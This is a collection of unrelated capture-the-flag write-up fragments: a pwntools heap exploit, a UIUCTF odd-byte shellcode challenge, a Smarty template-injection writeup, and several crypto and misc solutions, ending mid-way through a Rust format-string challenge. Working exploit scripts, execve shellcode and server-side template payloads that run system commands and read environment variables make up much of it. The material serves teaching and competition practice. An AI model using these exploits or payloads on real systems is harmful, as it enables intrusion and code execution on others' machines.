def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''continue'''.format(**locals())
io = None
io = start()
def add(idx, size, firstname, midname, lastname, age, bio, l=True): io.sendlineafter(b"5 re-age user\n", b"1") io.sendlineafter(b"index: \n", str(idx).encode()) io.sendlineafter(b"Enter size (1032 minimum): \n", str(size).encode()) if l: io.sendlineafter(b"Input firstname: \n", firstname) io.sendlineafter(b"Input middlename: \n", midname) io.sendlineafter(b"Input lastname: \n", lastname) io.sendlineafter(b"Input age: \n", str(age).encode()) io.sendlineafter(b"Input bio: \n", bio)
else: io.sendafter(b"Input firstname: \n", firstname) io.sendafter(b"Input middlename: \n", midname) io.sendafter(b"Input lastname: \n", lastname) io.sendafter(b"Input age: \n", str(age).encode()) io.sendafter(b"Input bio: \n", bio)
def show(idx): io.sendlineafter(b"5 re-age user\n", b"2") io.sendlineafter(b"index: ", str(idx).encode())
def delete(idx): io.sendlineafter(b"5 re-age user\n", b"3") io.sendlineafter(b"index: ", str(idx).encode())
def edit(idx, firstname, midname, lastname, age, bio): io.sendlineafter(b"5 re-age user\n", b"4") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"Input firstname: \n", firstname) io.sendlineafter(b"Input middlename: \n", midname) io.sendlineafter(b"Input lastname: \n", lastname) io.sendlineafter(b"Input age: \n", str(age).encode()) io.sendlineafter(b")\n", bio)
def decrypt_pointer(leak: int) -> int: parts = []
parts.append((leak >> 36) << 36) parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24) parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)
return parts[0] | parts[1] | parts[2]
add(0, 1032, b"//bin/sh\x00", b"", b"", 1337, b"")add(1, 1032, b"", b"", b"", 1337, b"")
for i in range(2, 7+2 + 2): add(i, 1032, b"", b"", b"", 1337, b"")
for i in range(2, 7+2): delete(i)
delete(1)edit(0, b"", b"", b"", 1337, b"Y"*(1032 - 64 + 7))
show(0)io.recvuntil(b"Y"*(1032 - 64 + 7) + b"\n")libc.address = pwn.u64(io.recvuntil(b"1 Add\n")[:-6].ljust(8, b"\x00")) - 0x1c7cc0pwn.log.info(f"libc: {hex(libc.address)}")
add(11, 1032, b"", b"", b"", 1337, b"")
delete(9)
edit(11, b"", b"", b"", 1337, b"X"*(1032 - 64 + 7))
show(11)io.recvuntil(b"X"*(1032 - 64 + 7) + b"\n")heap = decrypt_pointer(pwn.u64(io.recvuntil(b"1 Add\n")[:-6].ljust(8, b"\x00"))) - 0x1000pwn.log.info(f"heap: {hex(heap)}")
environ = libc.address + 0xbe02f0
edit(11, b"", b"", b"", 1337, b"X"*(1032 - 64) + pwn.p64(0x411) + pwn.p64(((heap + 0x2730) >> 12) ^ (0x404010)))
# dumbadd(12, 1032, b"", b"", b"", 1337, b"")
#===
io.sendlineafter(b"5 re-age user\n", b"1")io.sendlineafter(b"index: \n", str(13).encode())io.sendlineafter(b"Enter size (1032 minimum): \n", str(1032).encode())io.sendafter(b"Input firstname: \n", pwn.p64(libc.address + 0xbbdf80))io.sendafter(b"Input middlename: \n", pwn.p64(libc.sym.system))io.sendafter(b"Input lastname: \n", pwn.p64(libc.address + 0x71ab0))io.sendlineafter(b"Input age: \n", str(0).encode())io.sendafter(b"Input bio: \n", pwn.p64(libc.address + 0x4cb40))
delete(0)io.sendline(b"cat flag.txt")pwn.log.info(f"flag: {io.recvline()}")
io.interactive()``` |
This challenge was just a **patched** version of [web/EYANGCH Fan Art Maker ](https://ctftime.org/writeup/34669)The only difference between the two is :```app.post('/makeArt', (req, res) => { var code = req.body.code; const secretPassword = require("crypto").randomBytes(8).toString('hex'); var flag = `<component name="flag" password="` + secretPassword + `"> <text color="black" font="bold 10pt Arial">` + (process.env.FLAG ?? "ctf{flag}") + `</text></component>
<flag x="100" y="400" password="` + secretPassword + `"></flag> `;```
So now we can't use the flag component to print the flag in a different place.But we already got a solution for that :)So we can just reuse the same code.
`<component name="EYANGOTZ"></component>`
And here is our flag

# FLAG `LITCTF{3y4ngCH_15_l1k3_ju5t_s0_g3n10sit4}` |
tldr: From `rdi` entry point, explore the list of pointers using `stat` to discover the "writable" pages navigating through the labyrinth until the flag. |
# UIUCTF 2022 - ODD SHELL Writeup
# Challenge Description```O ho! You found me! I have a display of oddities available to you!
$ nc odd-shell.chal.uiuc.tf 1337
Author: Surg
Category: pwn, shellcode```[Challenge Executable File](https://2022.uiuc.tf/files/9a315dc699ddcf1b959e5aa70fcd1f7f/chal?token=eyJ1c2VyX2lkIjoxNTgsInRlYW1faWQiOjgwLCJmaWxlX2lkIjo2NDV9.Yuebnw.PiGm7H8yoGfb6YrLgP9zZ6yXKN4)
# TL;DR[ **This writeup won the UIUCTF 2022 writeup prize money :)** ]
The challenge restricts use of any opcodes that is even. Had to use a good number of arithmetic operations to circumvent that which I've detailed in the below write-up. Used `execve("/bin/sh", NULL, NULL)` to get the shell. The tricky part was to figure out how to craft the assembly without even a single odd byte opcode.
[Shellcode Assembly](./shellcode-assembly.md).
[The exploit code in python](#final-exploit).
# IntroAs with usual pwn challenges and also as the challenge description says, we can safely guess that it involves getting a shell by crafting some shellcode. To be honest, unlike other shellcode challenges where we make use of some ready-made shellcodes available on the internet (like [shell-storm](https://shell-storm.org/shellcode/)), this challenge really tested my skill forcing me to manually craft shellcode all while putting some odd (!) restrictions over what type of shellcode i'm allowed to use. This will be clearer in the next section. But I'll admit that I truly enjoyed the challenge, it was like putting different pieces of puzzle blocks together to get to the final solution.
For those new to shellcode use, you can check out this comprehensive tutorial on shellcoding basics at [Linux Shellcoding (Part 1.0) - Exploit Development - 0x00sec - The Home of the Hacker](https://0x00sec.org/t/linux-shellcoding-part-1-0/289). For the sake of completeness, shellcode is basically a series of instructions which are executed sequentially to do what we want it to do. Its named such because most of the time the purpose of executing those instructions is to get a command line shell. And then through that shell, the attacker can do a myriad of things.
Before going into the main walkthrough, one important thing to keep in mind about shellcoding is we usually write the instructions in assembly. Each assembly instruction is then converted to a series of opcodes and these opcodes are what the machine understands and executes. Opcodes are generally written in hex. Several online sites do these conversions. I use [defuse.ca](https://defuse.ca/) for this.
Thats all for Intro, now lets try to understand what the challenge is about.
# Understanding the problemThe very first thing I do after getting a challenge binary is I first run it to see what it does and then open it in Ghidra to see what magic is really going on there. Following is the output after running the binary.

So the binary just shows the text `Display your oddities:` and waits for input. I tried random input and it shows `Invalid Character`. Now its time to switch to Ghidra and decompile the binary. For newbies, Ghidra is the swiss-army knife of reverse engineering tools developed by NSA and you can download it from [Ghidra (ghidra-sre.org)](https://ghidra-sre.org/).
Opening the binary in Ghidra we can see there's a `main` function which does the following (only the major portion of the code is shown):

The three blocks of code (marked in the above image) are fairly trivial to understand. The first two (marked blue and green) set up a buffer for taking user input, take the input, make the terminating newline a 0 and decrement the input length by 1 to account for the added newline at the end. You can see that the starting address of the buffer is fixed in the code (`0x12341234000` inside `mmap`) which is not usually the case. So, initially, I thought that was somehow significant for solving the challenge. But for my solution, I didn't need it at all. Also, the `read` function accepts an input size of `0x800` which is basically an indication that this challenge is not a buffer-overflow problem.
The Main interesting part of the challenge is in block 3 (marked red). Its clearly visible that our code which was put at memory address `0x12341234000` is being executed (line 27), a perfect candidate program to inject shellcode. In plain words, whatever input we give to the program it'll be executed as code. But hold on, what's this in `line 30`. **The code at this line is checking whether each byte of input that we give is an odd byte or not**. If its odd, then the program continues through the loop, otherwise it breaks out from the loop and our code is never executed printing that `Invalid Character` message that we got in our sample run. Now, I guess, we've got a fair idea of what we need to do.
To summarize, ```We need to give an input so that each byte of that input is ODD and after executing the input, we'd get a SHELL.```
# WalkthroughOne common approach to get a shell is to execute `execve("/bin/sh", NULL, NULL)`. `execve` has the function signature *int execve(const char *pathname, char *const argv[], char *const envp[]);*, it executes the program referred to by the `pathname`. So we are pointing `execve` to `"/bin/sh"` and setting the rest of the arguments to `NULL` cz we don't need any argument or environment variables to be set and it also keeps the solution simple. Note that, `/bin/sh` is basically the executable which is run when a shell is spawned.
## Craft execve syscall in assemblyNow the hardest part. We need to emulate this `execve("/bin/sh", NULL, NULL)` call in assembly. For this, a good understanding of assembly and x86-64 calling convention is needed. For a primer on these two, [CS107 Guide to x86-64 (stanford.edu)](https://web.stanford.edu/class/cs107/guide/x86-64.html) is a good starting point. `execve` is a system call function in linux, so we have to use the `syscall` assembly instruction to execute it. Each system call has an associated number which uniquely identifies it. The list of system call functions, their function signature can be found at [Linux System Call Table for x86 64](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/). The way this `syscall` works is we've to put the function number (`0x3b` or `59` for `execve`) in `rax` register, the 1st argument to the system call function in `rdi`, 2nd argument in `rsi` and 3rd argument in `rdx`. If there are more arguments to a function, they can be put in other designated registers (upto six) following the [x86-64 calling conventions](https://en.wikipedia.org/wiki/X86_calling_conventions#x86-64_calling_conventions). But for our purpose, knowing only 3 is enough. So, our goal is clear. Populate the registers as mentioned above and do `syscall`. And voila! we get a shell. But turns out its not as simple as we think. Why? bcz of that restriction of passing only ODD bytes. We have to write assembly instructions in such a way that the resulting opcodes doesn't have any even byte. Huh :(
#### Fix rdiLets tackle one problem at a time. First, fix the `rdi` register which would contain the first argument to `execve`. So, shall we just put `"/bin/sh"` in `rdi`? NO. From the function signature of `execve` we know that this first parameter is basically a character pointer (*char \**). When they are passed between functions, in effect a pointer or memory address of the location where that character array resides is passed. So, we have to put the memory address containing the string `"/bin/sh"` in `rdi`. We need stack to do this because we can easily store data in stack through the `push` instruction. We push the string `"/bin/sh"` on stack and then put the value of `rsp` in `rdi` bcz `rsp` points to the top of the stack.
`"/bin/sh"` in hex is `0x2f62696e2f736800`, the ending zeroes basically correspond to \0 to mark end of string. As we're working with a little endian machine, we need to put `0x0068732f6e69622f` on the stack i.e. least significant bytes in lower positions. Now, how do we push this value on the stack? We can't just use `push 0x0068732f6e69622f` because there are even bytes in the resulting opcode of this instruction. This is where we need to get creative and its the main problem that this challenge wants us to solve. If we can somehow manipulate a register through the use of arithmetic instructions (`add`, `sub` etc.) to hold this value, after that we just push the register like `push <register>`. Here, we need to think ahead a bit first so that we dont hit any dead-end. What I mean by this is first we should find out which `push <register>` results in opcodes with only odd bytes. I had to try most possible combinations of this instruction to check this and found that `push r9` results in opcode with all odd bytes (`0x41 0x51`). Now that we got a register, its time to do some math magic to populate `r9` with our desired value. Similar to the `push` instruction we cant just directly put the value in `r9`. Instead, we'll put the first 2 bytes of `0x0068732f6e69622f` to the rightmost part of `r9` and then shift `r9` by 16 to make room for the next two bytes and so on. Diagrammatically, this procedure of populating and shifting would look like the following:

We need to do some arithmetic operations to yield these bytes and then store them in `r9` following the above mentioned way. It turns out we can't directly use `r9` or its other low-order variants in instructions involving arithmetic operations cz they produce even byte opcodes. But lucky for us, `r11d` is our savior which emits odd opcodes in arithmetic operations i.e. we can do operations like `add r11d, 0x5`. One important thing we need to keep in mind here is that the value that we're adding with `r11d` must not have any 0's in them, thats why we need to provide a whole 4-byte value where each byte is an odd number. After we've our desired value in `r11d` we can then do a `or` operation with `r9` which will basically copy whatever is in `r11d` to `r9`. For this to work, the least significant 2 bytes of `r9` should have 0 in them which we can achieve with `xor r9, r9`. This works because `x or 0 = x` . Considering all these info, the following sequence of instructions will put `0x0068` in r9 and leave the least-significant 2 bytes as 0.```assembly
mov r11d,0xfffffff1sub r11d,0xffffff89xor r9,r9or r9,r11shl r9,0xfshl r9,1```Here, we've shifted `r9` twice as we cant directly shift by `0x10` or 16 which is an even number. So first we shifted by 15 and then again by 1. Clever, huh? :)So, we understand now how its going to work, right? Following this same approach, we put the other bytes accordingly in `r9` through the below sequence of instructions.```assemblymov r11d,0xffffff11sub r11d,0xffff8be1dec r11dor r9,r11 ; 0x73 0x2fshl r9,0xfshl r9,1
mov r11d,0xfffffff1sub r11d,0xffff9187dec r11dor r9,r11 ; 0x6e 0x69shl r9,0xfshl r9,1
mov r11d,0xfffffff1sub r11d,0xffff9dc1dec r11dor r9,r11 ; 0x62 0x2f
push r9 ; put 0x0068732f6e69622f or "/bin/sh" on stack```One thing to notice here is that we've used `dec` after each `sub` instruction. The reason behind this is the values that we want like `0x732f` or `0x6e69` are odd numbers themselves. And we can only get odd numbers if we subtract an even number from an odd number or vice-versa. That'd mean one of our operands (either in `mov` or `sub`) would be an even number which we can't have. To make our way around this, we subtract two odd numbers so that we get our `desired value + 1` and then we decrement that value to get to our desired value. Neat, right? :)
So, we've tackled a very difficult part. Rest is easy. Now, we've the string `"/bin/sh"` in the stack. Next we need to get the address of the top of the stack and put it in `rdi`. We can't directly do `mov rdi, rsp` or `push rsp; pop rdi` bcz these result in odd byte opcodes (?). Instead we zero out `r9`, or `r9` with `rsp` to get whatever is there in `rsp` to `r9` (like we did before) and then we push `r9` on the stack. Now on top of the stack we have the memory address pointing to `"/bin/sh"` and if we now do `pop rdi`, `rdi` will have that address too. Fortunately for us, `pop rdi` emits only odd byte opcodes. Great! The following sequence of instructions does this:```assemblyxor r9,r9or r9,rsppush r9pop rdi```So we fixed `rdi` ?
#### Fix rsi, rdx, raxWe cant directly set `rsi`, `rdx` to 0 by doing something like `mov rsi, 0` or `xor rsi, rsi`, the reason being even byte opcodes. I had to try out a plethora of ways to figure out how to make them zero. Then I found that I can do `xor ecx, ecx` and then do `movzx esi, cx` and `movzx edx, cx`. The later two instructions zero-extends cx to esi. You might be wondering I've only made `esi` to 0 but what about the higher 32 bits that form the whole `rsi` because we've to make `rsi` to 0 not just `esi`. Here comes one subtle thing about x86-64 assembly to our rescue. In it, any 32-bit data move to a register also zeroes out the most significant 32-bit of that register. So `movzx esi, cx` will also result in `rsi` to be zero. Similar for `rdx`. Following is the sequence of instructions to zero out `rdx` and `rsi`:```assemblyxor ecx,ecxmovzx edx,cxmovzx esi,cx```One thing to point out here, before executing our input, the program moves 0 to `eax`, effectively setting `rax` to 0. It can be seen in the following image:

So, our goal is to put `0x3b` or 59 in `rax` which we can achieve if we can put this value in `al` only cz the rest of `rax` is 0. But unfortunately we cant do `mov al, 0x3b`, `mov ax, 0x3b`, `mov eax, 0x3b`. None of this. I was wondering for quite some time regarding this. Then it occurred to me that I can use `lea` to do arithmetic operations and after testing, I found that it also emits only odd byte opcodes. So, we have 0 in `ecx ` and if we add `0x3b` with ecx and put the result in `eax`, we get what we want. The following does just this using `lea`:```assemblylea eax,[ecx+0x3b]```
### syscallNow, after applying all these clever techniques to get around the odd-byte restriction, we're finally ready to do the coveted `syscall` thereby spawning a shell for us.
The full assembly can be found [here](./shellcode-assembly.md).
## Convert assembly to opcodesWe need to convert the assembly that we crafted to a sequence of opcodes for us. As mentioned, I use [defuse.ca](https://defuse.ca/) for this. The sequence of opcodes is the following:```\x41\xBB\xF1\xFF\xFF\xFF\x41\x83\xEB\x89\x4D\x31\xC9\x4D\x09\xD9\x49\xC1\xE1\x0F\x49\xD1\xE1\x41\xBB\x11\xFF\xFF\xFF\x41\x81\xEB\xE1\x8B\xFF\xFF\x41\xFF\xCB\x4D\x09\xD9\x49\xC1\xE1\x0F\x49\xD1\xE1\x41\xBB\xF1\xFF\xFF\xFF\x41\x81\xEB\x87\x91\xFF\xFF\x41\xFF\xCB\x4D\x09\xD9\x49\xC1\xE1\x0F\x49\xD1\xE1\x41\xBB\xF1\xFF\xFF\xFF\x41\x81\xEB\xC1\x9D\xFF\xFF\x41\xFF\xCB\x4D\x09\xD9\x41\x51\x4D\x31\xC9\x49\x09\xE1\x41\x51\x5F\x31\xC9\x0F\xB7\xD1\x0F\xB7\xF1\x67\x8D\x41\x3B\x0F\x05```
## Final Exploit
The following python code establishes a connection and sends the payload. And voila, we get a shell. For the flag though, we had to navigate to the root directly and print it out.```python#!/usr/bin/env python3
from pwn import *
host = 'odd-shell.chal.uiuc.tf'port = '1337'
p = remote(host, port)
response = p.recvuntil("oddities:\n")print(response)print("sending payload")p.sendline(b"\x41\xBB\xF1\xFF\xFF\xFF\x41\x83\xEB\x89\x4D\x31\xC9\x4D\x09\xD9\x49\xC1\xE1\x0F\x49\xD1\xE1\x41\xBB\x11\xFF\xFF\xFF\x41\x81\xEB\xE1\x8B\xFF\xFF\x41\xFF\xCB\x4D\x09\xD9\x49\xC1\xE1\x0F\x49\xD1\xE1\x41\xBB\xF1\xFF\xFF\xFF\x41\x81\xEB\x87\x91\xFF\xFF\x41\xFF\xCB\x4D\x09\xD9\x49\xC1\xE1\x0F\x49\xD1\xE1\x41\xBB\xF1\xFF\xFF\xFF\x41\x81\xEB\xC1\x9D\xFF\xFF\x41\xFF\xCB\x4D\x09\xD9\x41\x51\x4D\x31\xC9\x49\x09\xE1\x41\x51\x5F\x31\xC9\x0F\xB7\xD1\x0F\xB7\xF1\x67\x8D\x41\x3B\x0F\x05")
p.interactive()```
## Flag`uiuctf{5uch_0dd_by4t3s_1n_my_r3g1st3rs!}` |
**TL;DR** Website tracks movements with get requests to an endpoint, wireshark shows requests to that endpoint, put two and two together, bam, you have a ~~misc~~ forensics challenge
where's the malware at? >:(probably shouldn't taunt them before they make a wiper program that is just excruciating to analyze |
First, let's open the website in a browser to see what we find. We see a page with a lot of Among Us related content, and a (fake) link that claims to link to the flag but actually links to a rickroll. We also see a section about how Yellow is sus and a bunch of Among Us emojis. This signals that something related to the Yellow Among Us character (or crewmate) might have the flag.
Now let's use the browser's developer tools to find more information. We don't find much in the website sources other than the source code for the website, which is very uninteresting in terms of security. We then move on to the network requests. If we look through the main request, we don't find much other than the typical headers and data. However, when we look at the request for [http://litctf.live:31779/sussy-yellow-amogus](http://litctf.live:31779/sussy-yellow-amogus), we find that header `sussyflag` is `LITCTF{mr_r4y_h4n_m4y_b3_su55y_bu7_4t_l3ast_h3s_OTZOTZOTZ}`, and we have the flag. |
#### Description:Shoutout to those people who think that base64 is proper encryption
#### main.py```pythonfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom gmpy2 import mpz, to_binary#from secret import flag, key
ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")
def base_n_encode(bytes_in, base): return mpz(bytes_to_long(bytes_in)).digits(base).upper().encode()
def base_n_decode(bytes_in, base): bytes_out = to_binary(mpz(bytes_in, base=base))[:1:-1] return bytes_out
def encrypt(bytes_in, key): out = bytes_in for i in key: print(i) out = base_n_encode(out, ALPHABET.index(i)) return out
def decrypt(bytes_in, key): out = bytes_in for i in key: out = base_n_decode(out, ALPHABET.index(i)) return out
"""flag_enc = encrypt(flag, key)f = open("flag_enc", "wb")f.write(flag_enc)f.close()"""```
#### flag_encThe file can be found in the authors' repository: [`flag_enc`](https://github.com/sigpwny/UIUCTF-2021-Public/blob/master/crypto/back_to_basics/public/flag_enc)
----
Let's look at the provided script:
As first step the alphabet of the key is defined:```pythonALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")```
`base_n_encode` reads the bytes of the given string as one big integer and expresses it in the given base.```pythondef base_n_encode(bytes_in, base): return mpz(bytes_to_long(bytes_in)).digits(base).upper().encode()```
`base_n_decode` reads the string as string-representation of a big integer in the given base and returns the binary representation of this integer.```pythondef base_n_decode(bytes_in, base): bytes_out = to_binary(mpz(bytes_in, base=base))[:1:-1] return bytes_out```
`encrypt` takes each char of the key and uses it as base for `base_n_encode`. For getting an integer base, the char is searched in the above alphabet and the position is used as base.```pythondef encrypt(bytes_in, key): out = bytes_in for i in key: print(i) out = base_n_encode(out, ALPHABET.index(i)) return out```
`decrypt` takes each char of the key and uses in the same way as in `encode` for decoding the string with `base_n_decode`.```pythondef decrypt(bytes_in, key): out = bytes_in for i in key: out = base_n_decode(out, ALPHABET.index(i)) return out```
Finally, there is a comment, which explains, how `flag_enc` was created:```pythonflag_enc = encrypt(flag, key)f = open("flag_enc", "wb")f.write(flag_enc)f.close()```
----
At the start some considerations:- `0` and `1` cannot be part of the string, as their indices in the alphabet (`0` & `1`) are no bases- The base of the encrypted text will always be greater than each char in the text, as all characters in a string with base `b` are from interval `[0, b-1]`
With this knowledge, we can start the decryption. First we need to load the encrypted flag:```pythonwith open("flag_enc", "rb") as f: out = f.read()```
For debug purposes we initialize some variables:```pythonround = 0key = ""```
As we don't know when we are done, we first loop infinitely. Furthermore we want to keep our debug variable up to date.```pythonwhile True: round += 1```
First we determine the alphabet of the current string:```python alphabet = set(out)```
We only need the maximum for determining the smallest possible base. And again some debug printing.```python m = max(alphabet) print("{}: used {}, {}".format(round, m, alphabet))```
Let's get the smallest base. If the char is not found, the script will fail at this point with an error.```python b = ALPHABET.index(m) + 1```
Now we can determine whether the calculated base is in range.```python if b >= len(ALPHABET): print("no") exit(1)```
Now we can test for all possible bases and collect possible indices```python indices = list() for i in range(b, len(ALPHABET)):```
As the decryption can fail, and we don't want the script to be aborted, we have to wrap it in `try`. And again some debug printing.```python try: new_out = base_n_decode(out, i) print(max(new_out), min(new_out))```
As `#` cannot be in the string and as the chars build a continues block in ASCII, we can simply check the boundaries to determine whether the decrypted string matches our requirements and the index is a candidate:```python if max(new_out) <= 90 and min(new_out) >= 48: indices.append(i)```
Because the flag will have some additional chars outside this range, we also check if the decrypted string is a potential flag. For preventing spam, we also check the length and hope, that the flag is shorter than 100 chars. If not, we have to adjust the length.```python if max(new_out) <= 125 and min(new_out) >= 48 and len(out) < 100: print(f"key: {key + chr(ALPHABET[i])}, possible flag: {new_out}")```
If the decryption fails, we don't want to do something. As python requires a statement in except, we do some useless assignment.```python except: log = 1```
For proceeding, we need an index. Let's exit, if we haven't found one.```python if len(indices) < 1: print("no") exit(1)```
Now we must select the index for the next round. As it is unlikely that the base is much higher than the maximum char in the string, we use the smallest working base. As we haven't stored the decrypted string, we have to decrypt it again. Furthermore we append the used character from the alphabet to the key. And again some debug printing.```python out = base_n_decode(out, indices[0]) key += chr(ALPHABET[indices[0]]) print(key) print(indices) print(f"{round}: used {chr(ALPHABET[b])}, len: {len(out)}")```
The whole script looks as following:```pythonfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom gmpy2 import mpz, to_binary#from secret import flag, key
ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")
def base_n_encode(bytes_in, base): return mpz(bytes_to_long(bytes_in)).digits(base).upper().encode()
def base_n_decode(bytes_in, base): bytes_out = to_binary(mpz(bytes_in, base=base))[:1:-1] return bytes_out
def encrypt(bytes_in, key): out = bytes_in for i in key: print(i) out = base_n_encode(out, ALPHABET.index(i)) return out
def decrypt(bytes_in, key): out = bytes_in for i in key: out = base_n_decode(out, ALPHABET.index(i)) return out
with open("flag_enc", "rb") as f: out = f.read()
round = 0key = ""while True: round += 1 alphabet = set(out) m = max(alphabet) print("{}: used {}, {}".format(round, m, alphabet)) b = ALPHABET.index(m) + 1 if b >= len(ALPHABET): print("no") exit(1) indices = list() for i in range(b, len(ALPHABET)): try: new_out = base_n_decode(out, i) print(max(new_out), min(new_out)) if max(new_out) <= 90 and min(new_out) >= 48: indices.append(i) if max(new_out) <= 125 and min(new_out) >= 48 and len(new_out) < 100: print(f"key: {key + chr(ALPHABET[i])}, possible flag: {new_out}") except: log = 1 if len(indices) < 1: print("no") exit(1) out = base_n_decode(out, indices[0]) key += chr(ALPHABET[indices[0]]) print(key) print(indices) print(f"{round}: used {chr(ALPHABET[b])}, len: {len(out)}")```
In the output we find the flag (`b'uiuctf{r4DixAL}'`) and the corresponding key (`WM5Z8CRJABXJDJ5W`). |
First, join the discord server as the problem statement says. Now we look for channels that look like anouncement channels, because if it was posted in one of the chat channels it would probably get buried. (We're assuming that the organizers aren't evil.)
We find the channels `#announcements`, `#update` (in the CTF section), and `#updates` (in the LIT section). Let's look through the channels. `#updates` is just a bunch of old messages from 2021, and `#update` doesn't contain any interesting info either.
But if we scroll up in the `#announcements` channel, we find a [message](https://discord.com/channels/738848412912451695/738863205048123403/999912370921033778) with the flag, which is `LITCTF{L1T_1S_G0NNA_BE_S0_LIT_W1TH_Y0U_GUYS!}` (which turned out to be true). |
[Original writeup](https://zackorndorff.com/2022/08/06/blazin-etudes-hack-a-sat-3-quals-2022-writeup/) (https://zackorndorff.com/2022/08/06/blazin-etudes-hack-a-sat-3-quals-2022-writeup/) |
# tadpole#### Crypto - 262 solves**# Description## tadpoles only know the alphabet up to b... how will they ever know what p is? # Challenge```from Crypto.Util.number import bytes_to_long, isPrimefrom secrets import randbelow
p = bytes_to_long(open("flag.txt", "rb").read())assert isPrime(p)
a = randbelow(p)b = randbelow(p)
def f(s): return (a * s + b) % p
print("a = ", a)print("b = ", b)print("f(31337) = ", f(31337))print("f(f(31337)) = ", f(f(31337)))**```
# Solution
### The following is my script for solving the problem, it is very simple and everyone will understand it at a glance!
```from Crypto.Util.number import *from secrets import randbelow
a = 7904681699700731398014734140051852539595806699214201704996640156917030632322659247608208994194840235514587046537148300460058962186080655943804500265088604049870276334033409850015651340974377752209566343260236095126079946537115705967909011471361527517536608234561184232228641232031445095605905800675590040729b = 16276123569406561065481657801212560821090379741833362117064628294630146690975007397274564762071994252430611109538448562330994891595998956302505598671868738461167036849263008183930906881997588494441620076078667417828837239330797541019054284027314592321358909551790371565447129285494856611848340083448507929914s =31337t = a * s + bk31337 = 52926479498929750044944450970022719277159248911867759992013481774911823190312079157541825423250020665153531167070545276398175787563829542933394906173782217836783565154742242903537987641141610732290449825336292689379131350316072955262065808081711030055841841406454441280215520187695501682433223390854051207100kff = 65547980822717919074991147621216627925232640728803041128894527143789172030203362875900831296779973655308791371486165705460914922484808659375299900737148358509883361622225046840011907835671004704947767016613458301891561318029714351016012481309583866288472491239769813776978841785764693181622804797533665463949
for i in range(1,100000000): print("当前i值为:",i) p = (t - k31337) // i if isPrime(p) == 1: if (a * k31337 + b) % p == kff: print("p的值为:",p) p_str = long_to_bytes(p) print(p_str) break``` |
# Billboard Mayhem
## The AppThis execise contains 2 Flags. The first one is just finding the form (wow, complicated), the second seems to be hidden in environment variables.
![[app.png]]
As stated, it can upload TPL files (seems to be a file format for a marketing and CRM software https://www.act.com/resources/downloads/ and https://file.org/extension/tpl)?
## ResearchFirst, I tried to upload a file with the `.tpl` extension an a random content I can identify. It triggers a `POST` to `/upload.php` and then redirects with `302 Found` to the `/index.php`, where the file content is diplayed. I tried to reload the page but the file content is always diplayed so it is persistend. Uploading the file a second time changes the output. Uploading a different file changes the content again.
Then I tried to upload a valid PHP file, and here it starts to become interesting:
```php<script>alert(window.location.href)</script>";```
Becomes:
```html<script>alert(window.location.href)</script>";```
```php
```
After some more experiments `<div class="test">{7*7}</div>` became `<div class="test">49</div>`, which means that there exists a SSTI (Server Side Template Injection).
The following payload reveals some usefull information:```<div class="test">{join('', array_keys(getenv()))} - {join('', getenv())}Exposed files{join(';', glob('*'))}</div>```
```HOSTNAME HOME PATH CHALLENGE_USER DEBIAN_FRONTEND EXPOSED_URL PWD - 0eb55f8a28f4 /var/www /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Spikezz0xF69sh noninteractive https://64bcca024aabaf144162740a78807d83.challenge.hackazon.org / Exposed files advertisement.tpl;billboard.tpl;index.php;smarty-4.0.1;templates_c;upload.php;upload.tpl```
After googleing the unknown file or folder `smarty-4.0.1` we find a PHP library with this name. A template engine. https://www.smarty.net/.
Digging deeper, the `templates_c` folder reveals the following content:
```templates_c/8adfbabda06f8aba0b4b1d80c38a9737372bc06b_0.file.billboard.tpl.phptemplates_c/b313a41804d60e60e349bb7b8c613386fcae54d9_0.file.upload.tpl.phptemplates_c/dc37bb02e243b748b086ec9c23e78188c36d4887_0.file.advertisement.tpl.php```
The template files are accessible on the server and can be downloaded by calling their files. The source code if PHP can be leaked with the payload `<div class="test">{system('cat index.php')}</div>`. By accident, this revealed the flag.
Leaked code:
```html<div class="test">disableSecurity();$smarty->assign('flag', 'Congratulations, the flag is: CTF{example_flag}');$smarty->display('billboard.tpl');?>?></div>```
## Alternative solutionThe template engine seems to have some sort of environment variable which might be accessible. |
**TL;DR** I don't have a full writeup for this because I solved it after the fact, but I just wanted to put something here since it seems like no one's shared a solution here, and the ones that are out on the web use the pwntools ROP object, which is cool but doesn't really explain the process.
Source:```rustuse libc;use libc_stdhandle;
fn main() { unsafe { libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char); libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
let text = [0 as libc::c_char; 64].as_mut_ptr(); libc::fgets(text, 64, libc_stdhandle::stdin()); libc::printf("Hi, \0".as_ptr() as *const libc::c_char); libc::printf(text);
